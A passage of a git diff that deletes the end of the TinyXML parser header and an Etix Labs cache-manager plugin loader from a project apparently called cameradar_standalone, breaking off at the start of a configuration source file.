TiXmlAttribute* - First() const { - return (sentinel.next == &sentinel) ? 0 : sentinel.next; - } - TiXmlAttribute* - First() { - return (sentinel.next == &sentinel) ? 0 : sentinel.next; - } - const TiXmlAttribute* - Last() const { - return (sentinel.prev == &sentinel) ? 0 : sentinel.prev; - } - TiXmlAttribute* - Last() { - return (sentinel.prev == &sentinel) ? 0 : sentinel.prev; - } - - TiXmlAttribute* Find(const char* _name) const; - TiXmlAttribute* FindOrCreate(const char* _name); - -#ifdef TIXML_USE_STL - TiXmlAttribute* Find(const std::string& _name) const; - TiXmlAttribute* FindOrCreate(const std::string& _name); -#endif - -private: - //*ME: Because of hidden/disabled copy-construktor in TiXmlAttribute - //(sentinel-element), - //*ME: this class must be also use a hidden/disabled copy-constructor - TiXmlAttributeSet(const TiXmlAttributeSet&); // not allowed - void operator=(const TiXmlAttributeSet&); // not allowed (as TiXmlAttribute) - - TiXmlAttribute sentinel; -}; - -/** The element is a container class. It has a value, the element name, - and can contain other elements, text, comments, and unknowns. - Elements also contain an arbitrary number of attributes. -*/ -class TiXmlElement : public TiXmlNode { -public: - /// Construct an element. - TiXmlElement(const char* in_value); - -#ifdef TIXML_USE_STL - /// std::string constructor. - TiXmlElement(const std::string& _value); -#endif - - TiXmlElement(const TiXmlElement&); - - TiXmlElement& operator=(const TiXmlElement& base); - - virtual ~TiXmlElement(); - - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - */ - const char* Attribute(const char* name) const; - - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - If the attribute exists and can be converted to an integer, - the integer value will be put in the return 'i', if 'i' - is non-null. - */ - const char* Attribute(const char* name, int* i) const; - - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - If the attribute exists and can be converted to an double, - the double value will be put in the return 'd', if 'd' - is non-null. - */ - const char* Attribute(const char* name, double* d) const; - - /** QueryIntAttribute examines the attribute - it is an alternative to the - Attribute() method with richer error checking. - If the attribute is an integer, it is stored in 'value' and - the call returns TIXML_SUCCESS. If it is not - an integer, it returns TIXML_WRONG_TYPE. If the attribute - does not exist, then TIXML_NO_ATTRIBUTE is returned. - */ - int QueryIntAttribute(const char* name, int* _value) const; - /// QueryUnsignedAttribute examines the attribute - see QueryIntAttribute(). - int QueryUnsignedAttribute(const char* name, unsigned* _value) const; - /** QueryBoolAttribute examines the attribute - see QueryIntAttribute(). - Note that '1', 'true', or 'yes' are considered true, while '0', - 'false' - and 'no' are considered false. - */ - int QueryBoolAttribute(const char* name, bool* _value) const; - /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). - int QueryDoubleAttribute(const char* name, double* _value) const; - /// QueryFloatAttribute examines the attribute - see QueryIntAttribute(). - int - QueryFloatAttribute(const char* name, float* _value) const { - double d; - int result = QueryDoubleAttribute(name, &d); - if (result == TIXML_SUCCESS) { *_value = (float)d; } - return result; - } - -#ifdef TIXML_USE_STL - /// QueryStringAttribute examines the attribute - see QueryIntAttribute(). - int - QueryStringAttribute(const char* name, std::string* _value) const { - const char* cstr = Attribute(name); - if (cstr) { - *_value = std::string(cstr); - return TIXML_SUCCESS; - } - return TIXML_NO_ATTRIBUTE; - } - - /** Template form of the attribute query which will try to read the - attribute into the specified type. Very easy, very powerful, but - be careful to make sure to call this with the correct type. - - NOTE: This method doesn't work correctly for 'string' types that - contain spaces. - - @return TIXML_SUCCESS, TIXML_WRONG_TYPE, or TIXML_NO_ATTRIBUTE - */ - template - int - QueryValueAttribute(const std::string& name, T* outValue) const { - const TiXmlAttribute* node = attributeSet.Find(name); - if (!node) return TIXML_NO_ATTRIBUTE; - - std::stringstream sstream(node->ValueStr()); - sstream >> *outValue; - if (!sstream.fail()) return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; - } - - int - QueryValueAttribute(const std::string& name, std::string* outValue) const { - const TiXmlAttribute* node = attributeSet.Find(name); - if (!node) return TIXML_NO_ATTRIBUTE; - *outValue = node->ValueStr(); - return TIXML_SUCCESS; - } -#endif - - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetAttribute(const char* name, const char* _value); - -#ifdef TIXML_USE_STL - const std::string* Attribute(const std::string& name) const; - const std::string* Attribute(const std::string& name, int* i) const; - const std::string* Attribute(const std::string& name, double* d) const; - int QueryIntAttribute(const std::string& name, int* _value) const; - int QueryDoubleAttribute(const std::string& name, double* _value) const; - - /// STL std::string form. - void SetAttribute(const std::string& name, const std::string& _value); - ///< STL std::string form. - void SetAttribute(const std::string& name, int _value); - ///< STL std::string form. - void SetDoubleAttribute(const std::string& name, double value); -#endif - - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetAttribute(const char* name, int value); - - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetDoubleAttribute(const char* name, double value); - - /** Deletes an attribute with the given name. - */ - void RemoveAttribute(const char* name); -#ifdef TIXML_USE_STL - void - RemoveAttribute(const std::string& name) { - RemoveAttribute(name.c_str()); - } ///< STL std::string form. -#endif - - const TiXmlAttribute* - FirstAttribute() const { - return attributeSet.First(); - } ///< Access the first attribute in this element. - TiXmlAttribute* - FirstAttribute() { - return attributeSet.First(); - } - const TiXmlAttribute* - LastAttribute() const { - return attributeSet.Last(); - } ///< Access the last attribute in this element. - TiXmlAttribute* - LastAttribute() { - return attributeSet.Last(); - } - - /** Convenience function for easy access to the text inside an element. - Although easy - and concise, GetText() is limited compared to getting the TiXmlText - child - and accessing it directly. - - If the first child of 'this' is a TiXmlText, the GetText() - returns the character string of the Text node, else null is returned. - - This is a convenient method for getting the text of simple contained - text: - @verbatim - This is text - const char* str = fooElement->GetText(); - @endverbatim - - 'str' will be a pointer to "This is text". - - Note that this function can be misleading. If the element foo was - created from - this XML: - @verbatim - This is text - @endverbatim - - then the value of str would be null. The first child node isn't a text - node, it is - another element. From this XML: - @verbatim - This is text - @endverbatim - GetText() will return "This is ". - - WARNING: GetText() accesses a child node - don't become confused with - the - similarly named TiXmlHandle::Text() and - TiXmlNode::ToText() which are - safe type casts on the referenced node. - */ - const char* GetText() const; - - /// Creates a new Element and returns it - the returned element is a copy. - virtual TiXmlNode* Clone() const; - // Print the Element to a FILE stream. - virtual void Print(FILE* cfile, int depth) const; - - /* Attribtue parsing starts: next char past '<' - returns: next char past '>' - */ - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - virtual const TiXmlElement* - ToElement() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlElement* - ToElement() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* visitor) const; - -protected: - void CopyTo(TiXmlElement* target) const; - void ClearThis(); // like clear, but initializes 'this' object as well - -// Used to be public [internal use] -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - /* [internal use] - Reads the "value" of the element -- another element, or text. - This should terminate with the current end tag. - */ - const char* ReadValue(const char* in, TiXmlParsingData* prevData, TiXmlEncoding encoding); - -private: - TiXmlAttributeSet attributeSet; -}; - -/** An XML comment. -*/ -class TiXmlComment : public TiXmlNode { -public: - /// Constructs an empty comment. - TiXmlComment() : TiXmlNode(TiXmlNode::TINYXML_COMMENT) {} - /// Construct a comment from text. - TiXmlComment(const char* _value) : TiXmlNode(TiXmlNode::TINYXML_COMMENT) { SetValue(_value); } - TiXmlComment(const TiXmlComment&); - TiXmlComment& operator=(const TiXmlComment& base); - - virtual ~TiXmlComment() {} - - /// Returns a copy of this Comment. - virtual TiXmlNode* Clone() const; - // Write this Comment to a FILE stream. - virtual void Print(FILE* cfile, int depth) const; - - /* Attribtue parsing starts: at the ! of the !-- - returns: next char past '>' - */ - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - virtual const TiXmlComment* - ToComment() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlComment* - ToComment() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* visitor) const; - -protected: - void CopyTo(TiXmlComment* target) const; - -// used to be public -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - // virtual void StreamOut( TIXML_OSTREAM * out ) const; - -private: -}; - -/** XML text. A text node can have 2 ways to output the next. "normal" output - and CDATA. It will default to the mode it was parsed from the XML file - and - you generally want to leave it alone, but you can change the output mode - with - SetCDATA() and query it with CDATA(). -*/ -class TiXmlText : public TiXmlNode { - friend class TiXmlElement; - -public: - /** Constructor for text element. By default, it is treated as - normal, encoded text. If you want it be output as a CDATA text - element, set the parameter _cdata to 'true' - */ - TiXmlText(const char* initValue) : TiXmlNode(TiXmlNode::TINYXML_TEXT) { - SetValue(initValue); - cdata = false; - } - virtual ~TiXmlText() {} - -#ifdef TIXML_USE_STL - /// Constructor. - TiXmlText(const std::string& initValue) : TiXmlNode(TiXmlNode::TINYXML_TEXT) { - SetValue(initValue); - cdata = false; - } -#endif - - TiXmlText(const TiXmlText& copy) : TiXmlNode(TiXmlNode::TINYXML_TEXT) { copy.CopyTo(this); } - TiXmlText& - operator=(const TiXmlText& base) { - base.CopyTo(this); - return *this; - } - - // Write this text object to a FILE stream. - virtual void Print(FILE* cfile, int depth) const; - - /// Queries whether this represents text using a CDATA section. - bool - CDATA() const { - return cdata; - } - /// Turns on or off a CDATA representation of text. - void - SetCDATA(bool _cdata) { - cdata = _cdata; - } - - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - virtual const TiXmlText* - ToText() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlText* - ToText() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* content) const; - -protected: - /// [internal use] Creates a new Element and returns it. - virtual TiXmlNode* Clone() const; - void CopyTo(TiXmlText* target) const; - - bool Blank() const; // returns true if all white space and new lines -// [internal use] -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - -private: - bool cdata; // true if this should be input and output as a CDATA style text - // element -}; - -/** In correct XML the declaration is the first entry in the file. - @verbatim - - @endverbatim - - TinyXml will happily read or write files without a declaration, - however. There are 3 possible attributes to the declaration: - version, encoding, and standalone. - - Note: In this version of the code, the attributes are - handled as special cases, not generic attributes, simply - because there can only be at most 3 and they are always the same. -*/ -class TiXmlDeclaration : public TiXmlNode { -public: - /// Construct an empty declaration. - TiXmlDeclaration() : TiXmlNode(TiXmlNode::TINYXML_DECLARATION) {} - -#ifdef TIXML_USE_STL - /// Constructor. - TiXmlDeclaration(const std::string& _version, - const std::string& _encoding, - const std::string& _standalone); -#endif - - /// Construct. - TiXmlDeclaration(const char* _version, const char* _encoding, const char* _standalone); - - TiXmlDeclaration(const TiXmlDeclaration& copy); - TiXmlDeclaration& operator=(const TiXmlDeclaration& copy); - - virtual ~TiXmlDeclaration() {} - - /// Version. Will return an empty string if none was found. - const char* - Version() const { - return version.c_str(); - } - /// Encoding. Will return an empty string if none was found. - const char* - Encoding() const { - return encoding.c_str(); - } - /// Is this a standalone document? - const char* - Standalone() const { - return standalone.c_str(); - } - - /// Creates a copy of this Declaration and returns it. - virtual TiXmlNode* Clone() const; - // Print this declaration to a FILE stream. - virtual void Print(FILE* cfile, int depth, TIXML_STRING* str) const; - virtual void - Print(FILE* cfile, int depth) const { - Print(cfile, depth, 0); - } - - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - virtual const TiXmlDeclaration* - ToDeclaration() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlDeclaration* - ToDeclaration() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* visitor) const; - -protected: - void CopyTo(TiXmlDeclaration* target) const; -// used to be public -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - -private: - TIXML_STRING version; - TIXML_STRING encoding; - TIXML_STRING standalone; -}; - -/** Any tag that tinyXml doesn't recognize is saved as an - unknown. It is a tag of text, but should not be modified. - It will be written back to the XML, unchanged, when the file - is saved. - - DTD tags get thrown into TiXmlUnknowns. -*/ -class TiXmlUnknown : public TiXmlNode { -public: - TiXmlUnknown() : TiXmlNode(TiXmlNode::TINYXML_UNKNOWN) {} - virtual ~TiXmlUnknown() {} - - TiXmlUnknown(const TiXmlUnknown& copy) : TiXmlNode(TiXmlNode::TINYXML_UNKNOWN) { - copy.CopyTo(this); - } - TiXmlUnknown& - operator=(const TiXmlUnknown& copy) { - copy.CopyTo(this); - return *this; - } - - /// Creates a copy of this Unknown and returns it. - virtual TiXmlNode* Clone() const; - // Print this Unknown to a FILE stream. - virtual void Print(FILE* cfile, int depth) const; - - virtual const char* Parse(const char* p, TiXmlParsingData* data, TiXmlEncoding encoding); - - virtual const TiXmlUnknown* - ToUnknown() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlUnknown* - ToUnknown() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* content) const; - -protected: - void CopyTo(TiXmlUnknown* target) const; - -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - -private: -}; - -/** Always the top level node. A document binds together all the - XML pieces. It can be saved, loaded, and printed to the screen. - The 'value' of a document node is the xml file name. -*/ -class TiXmlDocument : public TiXmlNode { -public: - /// Create an empty document, that has no name. - TiXmlDocument(); - /// Create a document with a name. The name of the document is also the - /// filename of the xml. - TiXmlDocument(const char* documentName); - -#ifdef TIXML_USE_STL - /// Constructor. - TiXmlDocument(const std::string& documentName); -#endif - - TiXmlDocument(const TiXmlDocument& copy); - TiXmlDocument& operator=(const TiXmlDocument& copy); - - virtual ~TiXmlDocument() {} - - /** Load a file using the current document value. - Returns true if successful. Will delete any existing - document data before loading. - */ - bool LoadFile(TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING); - /// Save a file using the current document value. Returns true if successful. - bool SaveFile() const; - /// Load a file using the given filename. Returns true if successful. - bool LoadFile(const char* filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING); - /// Save a file using the given filename. Returns true if successful. - bool SaveFile(const char* filename) const; - /** Load a file using the given FILE*. Returns true if successful. Note that - this method - doesn't stream - the entire object pointed at by the FILE* - will be interpreted as an XML file. TinyXML doesn't stream in XML from - the current - file location. Streaming may be added in the future. - */ - bool LoadFile(FILE*, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING); - /// Save a file using the given FILE*. Returns true if successful. - bool SaveFile(FILE*) const; - -#ifdef TIXML_USE_STL - bool - LoadFile(const std::string& filename, - TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING) ///< STL std::string version. - { - return LoadFile(filename.c_str(), encoding); - } - bool - SaveFile(const std::string& filename) const ///< STL std::string version. - { - return SaveFile(filename.c_str()); - } -#endif - - /** Parse the given null terminated block of xml data. Passing in an encoding - to this - method (either TIXML_ENCODING_LEGACY or TIXML_ENCODING_UTF8 will force - TinyXml - to use that encoding, regardless of what TinyXml might otherwise try - to detect. - */ - virtual const char* Parse(const char* p, - TiXmlParsingData* data = 0, - TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING); - - /** Get the root element -- the only top level element -- of the document. - In well formed XML, there should only be one. TinyXml is tolerant of - multiple elements at the document level. - */ - const TiXmlElement* - RootElement() const { - return FirstChildElement(); - } - TiXmlElement* - RootElement() { - return FirstChildElement(); - } - - /** If an error occurs, Error will be set to true. Also, - - The ErrorId() will contain the integer identifier of the error (not - generally useful) - - The ErrorDesc() method will return the name of the error. (very - useful) - - The ErrorRow() and ErrorCol() will return the location of the error - (if known) - */ - bool - Error() const { - return error; - } - - /// Contains a textual (english) description of the error if one occurs. - const char* - ErrorDesc() const { - return errorDesc.c_str(); - } - - /** Generally, you probably want the error string ( ErrorDesc() ). But if you - prefer the ErrorId, this function will fetch it. - */ - int - ErrorId() const { - return errorId; - } - - /** Returns the location (if known) of the error. The first column is column - 1, - and the first row is row 1. A value of 0 means the row and column - wasn't applicable - (memory errors, for example, have no row/column) or the parser lost - the error. (An - error in the error reporting, in that case.) - - @sa SetTabSize, Row, Column - */ - int - ErrorRow() const { - return errorLocation.row + 1; - } - int - ErrorCol() const { - return errorLocation.col + 1; - } ///< The column where the error occured. See ErrorRow() - - /** SetTabSize() allows the error reporting functions (ErrorRow() and - ErrorCol()) - to report the correct values for row and column. It does not change - the output - or input in any way. - - By calling this method, with a tab size - greater than 0, the row and column of each node and attribute is - stored - when the file is loaded. Very useful for tracking the DOM back in to - the source file. - - The tab size is required for calculating the location of nodes. If not - set, the default of 4 is used. The tabsize is set per document. - Setting - the tabsize to 0 disables row/column tracking. - - Note that row and column tracking is not supported when using - operator>>. - - The tab size needs to be enabled before the parse or load. Correct - usage: - @verbatim - TiXmlDocument doc; - doc.SetTabSize( 8 ); - doc.Load( "myfile.xml" ); - @endverbatim - - @sa Row, Column - */ - void - SetTabSize(int _tabsize) { - tabsize = _tabsize; - } - - int - TabSize() const { - return tabsize; - } - - /** If you have handled the error, it can be reset with this call. The error - state is automatically cleared if you Parse a new XML block. - */ - void - ClearError() { - error = false; - errorId = 0; - errorDesc = ""; - errorLocation.row = errorLocation.col = 0; - // errorLocation.last = 0; - } - - /** Write the document to standard out using formatted printing ("pretty - * print"). */ - void - Print() const { - Print(stdout, 0); - } - - /* Write the document to a string using formatted printing ("pretty print"). - This - will allocate a character array (new char[]) and return it as a - pointer. The - calling code pust call delete[] on the return char* to avoid a memory - leak. - */ - // char* PrintToMemory() const; - - /// Print this Document to a FILE stream. - virtual void Print(FILE* cfile, int depth = 0) const; - // [internal use] - void SetError(int err, - const char* errorLocation, - TiXmlParsingData* prevData, - TiXmlEncoding encoding); - - virtual const TiXmlDocument* - ToDocument() const { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - virtual TiXmlDocument* - ToDocument() { - return this; - } ///< Cast to a more defined type. Will return null not of the requested - /// type. - - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept(TiXmlVisitor* content) const; - -protected: - // [internal use] - virtual TiXmlNode* Clone() const; -#ifdef TIXML_USE_STL - virtual void StreamIn(std::istream* in, TIXML_STRING* tag); -#endif - -private: - void CopyTo(TiXmlDocument* target) const; - - bool error; - int errorId; - TIXML_STRING errorDesc; - int tabsize; - TiXmlCursor errorLocation; - bool useMicrosoftBOM; // the UTF-8 BOM were found when read. Note this, and - // try to write. -}; - -/** - A TiXmlHandle is a class that wraps a node pointer with null checks; - this is - an incredibly useful thing. Note that TiXmlHandle is not part of the - TinyXml - DOM structure. It is a separate utility class. - - Take an example: - @verbatim - - - - - - - @endverbatim - - Assuming you want the value of "attributeB" in the 2nd "Child" element, - it's very - easy to write a *lot* of code that looks like: - - @verbatim - TiXmlElement* root = document.FirstChildElement( "Document" ); - if ( root ) - { - TiXmlElement* element = root->FirstChildElement( "Element" ); - if ( element ) - { - TiXmlElement* child = element->FirstChildElement( - "Child" ); - if ( child ) - { - TiXmlElement* child2 = - child->NextSiblingElement( "Child" ); - if ( child2 ) - { - // Finally do something useful. - @endverbatim - - And that doesn't even cover "else" cases. TiXmlHandle addresses the - verbosity - of such code. A TiXmlHandle checks for null pointers so it is - perfectly safe - and correct to use: - - @verbatim - TiXmlHandle docHandle( &document ); - TiXmlElement* child2 = docHandle.FirstChild( "Document" ).FirstChild( - "Element" ).Child( "Child", 1 ).ToElement(); - if ( child2 ) - { - // do something useful - @endverbatim - - Which is MUCH more concise and useful. - - It is also safe to copy handles - internally they are nothing more than - node pointers. - @verbatim - TiXmlHandle handleCopy = handle; - @endverbatim - - What they should not be used for is iteration: - - @verbatim - int i=0; - while ( true ) - { - TiXmlElement* child = docHandle.FirstChild( "Document" - ).FirstChild( "Element" ).Child( "Child", i ).ToElement(); - if ( !child ) - break; - // do something - ++i; - } - @endverbatim - - It seems reasonable, but it is in fact two embedded while loops. The - Child method is - a linear walk to find the element, so this code would iterate much more - than it needs - to. Instead, prefer: - - @verbatim - TiXmlElement* child = docHandle.FirstChild( "Document" ).FirstChild( - "Element" ).FirstChild( "Child" ).ToElement(); - - for( child; child; child=child->NextSiblingElement() ) - { - // do something - } - @endverbatim -*/ -class TiXmlHandle { -public: - /// Create a handle from any node (at any depth of the tree.) This can be a - /// null pointer. - TiXmlHandle(TiXmlNode* _node) { this->node = _node; } - /// Copy constructor - TiXmlHandle(const TiXmlHandle& ref) { this->node = ref.node; } - TiXmlHandle - operator=(const TiXmlHandle& ref) { - if (&ref != this) this->node = ref.node; - return *this; - } - - /// Return a handle to the first child node. - TiXmlHandle FirstChild() const; - /// Return a handle to the first child node with the given name. - TiXmlHandle FirstChild(const char* value) const; - /// Return a handle to the first child element. - TiXmlHandle FirstChildElement() const; - /// Return a handle to the first child element with the given name. - TiXmlHandle FirstChildElement(const char* value) const; - - /** Return a handle to the "index" child with the given name. - The first child is 0, the second 1, etc. - */ - TiXmlHandle Child(const char* value, int index) const; - /** Return a handle to the "index" child. - The first child is 0, the second 1, etc. - */ - TiXmlHandle Child(int index) const; - /** Return a handle to the "index" child element with the given name. - The first child element is 0, the second 1, etc. Note that only - TiXmlElements - are indexed: other types are not counted. - */ - TiXmlHandle ChildElement(const char* value, int index) const; - /** Return a handle to the "index" child element. - The first child element is 0, the second 1, etc. Note that only - TiXmlElements - are indexed: other types are not counted. - */ - TiXmlHandle ChildElement(int index) const; - -#ifdef TIXML_USE_STL - TiXmlHandle - FirstChild(const std::string& _value) const { - return FirstChild(_value.c_str()); - } - TiXmlHandle - FirstChildElement(const std::string& _value) const { - return FirstChildElement(_value.c_str()); - } - - TiXmlHandle - Child(const std::string& _value, int index) const { - return Child(_value.c_str(), index); - } - TiXmlHandle - ChildElement(const std::string& _value, int index) const { - return ChildElement(_value.c_str(), index); - } -#endif - - /** Return the handle as a TiXmlNode. This may return null. - */ - TiXmlNode* - ToNode() const { - return node; - } - /** Return the handle as a TiXmlElement. This may return null. - */ - TiXmlElement* - ToElement() const { - return ((node && node->ToElement()) ? node->ToElement() : 0); - } - /** Return the handle as a TiXmlText. This may return null. - */ - TiXmlText* - ToText() const { - return ((node && node->ToText()) ? node->ToText() : 0); - } - /** Return the handle as a TiXmlUnknown. This may return null. - */ - TiXmlUnknown* - ToUnknown() const { - return ((node && node->ToUnknown()) ? node->ToUnknown() : 0); - } - - /** @deprecated use ToNode. - Return the handle as a TiXmlNode. This may return null. - */ - TiXmlNode* - Node() const { - return ToNode(); - } - /** @deprecated use ToElement. - Return the handle as a TiXmlElement. This may return null. - */ - TiXmlElement* - Element() const { - return ToElement(); - } - /** @deprecated use ToText() - Return the handle as a TiXmlText. This may return null. - */ - TiXmlText* - Text() const { - return ToText(); - } - /** @deprecated use ToUnknown() - Return the handle as a TiXmlUnknown. This may return null. - */ - TiXmlUnknown* - Unknown() const { - return ToUnknown(); - } - -private: - TiXmlNode* node; -}; - -/** Print to memory functionality. The TiXmlPrinter is useful when you need to: - - -# Print to memory (especially in non-STL mode) - -# Control formatting (line endings, etc.) - - When constructed, the TiXmlPrinter is in its default "pretty printing" - mode. - Before calling Accept() you can call methods to control the printing - of the XML document. After TiXmlNode::Accept() is called, the printed - document can - be accessed via the CStr(), Str(), and Size() methods. - - TiXmlPrinter uses the Visitor API. - @verbatim - TiXmlPrinter printer; - printer.SetIndent( "\t" ); - - doc.Accept( &printer ); - fprintf( stdout, "%s", printer.CStr() ); - @endverbatim -*/ -class TiXmlPrinter : public TiXmlVisitor { -public: - TiXmlPrinter() : depth(0), simpleTextPrint(false), buffer(), indent(" "), lineBreak("\n") {} - - virtual bool VisitEnter(const TiXmlDocument& doc); - virtual bool VisitExit(const TiXmlDocument& doc); - - virtual bool VisitEnter(const TiXmlElement& element, const TiXmlAttribute* firstAttribute); - virtual bool VisitExit(const TiXmlElement& element); - - virtual bool Visit(const TiXmlDeclaration& declaration); - virtual bool Visit(const TiXmlText& text); - virtual bool Visit(const TiXmlComment& comment); - virtual bool Visit(const TiXmlUnknown& unknown); - - /** Set the indent characters for printing. By default 4 spaces - but tab (\t) is also useful, or null/empty string for no indentation. - */ - void - SetIndent(const char* _indent) { - indent = _indent ? _indent : ""; - } - /// Query the indention string. - const char* - Indent() { - return indent.c_str(); - } - /** Set the line breaking string. By default set to newline (\n). - Some operating systems prefer other characters, or can be - set to the null/empty string for no indenation. - */ - void - SetLineBreak(const char* _lineBreak) { - lineBreak = _lineBreak ? _lineBreak : ""; - } - /// Query the current line breaking string. - const char* - LineBreak() { - return lineBreak.c_str(); - } - - /** Switch over to "stream printing" which is the most dense formatting - without - linebreaks. Common when the XML is needed for network transmission. - */ - void - SetStreamPrinting() { - indent = ""; - lineBreak = ""; - } - /// Return the result. - const char* - CStr() { - return buffer.c_str(); - } - /// Return the length of the result string. - size_t - Size() { - return buffer.size(); - } - -#ifdef TIXML_USE_STL - /// Return the result. - const std::string& - Str() { - return buffer; - } -#endif - -private: - void - DoIndent() { - for (int i = 0; i < depth; ++i) buffer += indent; - } - void - DoLineBreak() { - buffer += lineBreak; - } - - int depth; - bool simpleTextPrint; - TIXML_STRING buffer; - TIXML_STRING indent; - TIXML_STRING lineBreak; -}; - -#ifdef _MSC_VER -#pragma warning(pop) -#endif - -#endif diff --git a/cameradar_standalone/src/cachemanager.cpp b/cameradar_standalone/src/cachemanager.cpp deleted file mode 100644 index 61aa8d9..0000000 --- a/cameradar_standalone/src/cachemanager.cpp +++ /dev/null @@ -1,132 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "cachemanager.h" // for cache_manager -#include // for move -#include // for dlerror, dlclose, dlopen, dlsym, etc -#include // for LOG_ERR_ -#include // for bool, false, true - -#include - -namespace etix { - -namespace cameradar { - -#ifdef __APPLE__ -const std::string cache_manager::PLUGIN_EXT = ".dylib"; -#elif __linux__ -const std::string cache_manager::PLUGIN_EXT = ".so"; -#endif - -const std::string cache_manager::default_symbol = "cache_manager_instance_new"; - -cache_manager::cache_manager(const std::string& path, - const std::string& name, - const std::string& symbol) -: name(name), path(path), symbol(symbol), handle(nullptr), ptr(nullptr) {} - -cache_manager::cache_manager(cache_manager&& old) -: path(std::move(old.path)), symbol(std::move(old.symbol)) { - this->handle = old.handle; - old.handle = nullptr; - this->ptr = old.ptr; - old.ptr = nullptr; -} - -cache_manager::~cache_manager() { - delete this->ptr; - if (this->handle) { dlclose(handle); } -} - -bool -cache_manager::make_instance() { - cache_manager_iface* (*new_fn)() = nullptr; - - // Gets the path to the dynamic library - auto real_path = this->make_full_path(); - - // Opens it to get the handle - this->handle = dlopen(real_path.c_str(), RTLD_LAZY); - if (this->handle == nullptr) { - std::cout << "error: " << dlerror() << std::endl; - LOG_ERR_("Failed to load cache manager: " + this->name + ", invalid path", - "cache manager loader"); - return false; - } else { - // Gets the symbol and checks if the library is valid - *(void**)(&new_fn) = dlsym(this->handle, symbol.c_str()); - if (dlerror() != nullptr) { - LOG_ERR_("Invalid cache manager package: " + this->name, "cache manager loader"); - return false; - } - } - - // Returns a string containing the most recent dl* error - dlerror(); - - // Instantiates the cache manager - this->ptr = (*new_fn)(); - if (this->ptr == nullptr) { - LOG_ERR_("Invalid cache manager format: " + this->name, "cache manager loader"); - return false; - } - - return true; -} - -// Generates a path as such : /libdumb_cache_manager.so -std::string -cache_manager::make_full_path() { - std::string full_path = this->path; - full_path += "/lib"; - full_path += this->name; - full_path += "_cache_manager"; - full_path += PLUGIN_EXT; - - return full_path; -} - -cache_manager_iface* cache_manager::operator->() { return this->ptr; } - -const cache_manager_iface* cache_manager::operator->() const { return this->ptr; } - -bool -operator==(std::nullptr_t nullp, const cache_manager& p) { - return p.ptr == nullp; -} - -bool -operator==(const cache_manager& p, std::nullptr_t nullp) { - return p.ptr == nullp; -} - -bool -operator!=(std::nullptr_t nullp, const cache_manager& p) { - return p.ptr != nullp; -} - -bool -operator!=(const cache_manager& p, std::nullptr_t nullp) { - return p.ptr != nullp; -} - -cache_manager_base& -cache_manager_base::get_instance() { - return *this; -} - -} // cameradar - -} // etix diff --git a/cameradar_standalone/src/configuration.cpp b/cameradar_standalone/src/configuration.cpp deleted file mode 100644 index c7018ab..0000000 --- a/cameradar_standalone/src/configuration.cpp +++ /dev/null @@ -1,238 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include // configuration -#include // std::ifstream -#include // access, F_OK - -namespace etix { - -namespace cameradar { - -const std::string configuration::name_ = "configuration"; - -// Read a file at the path 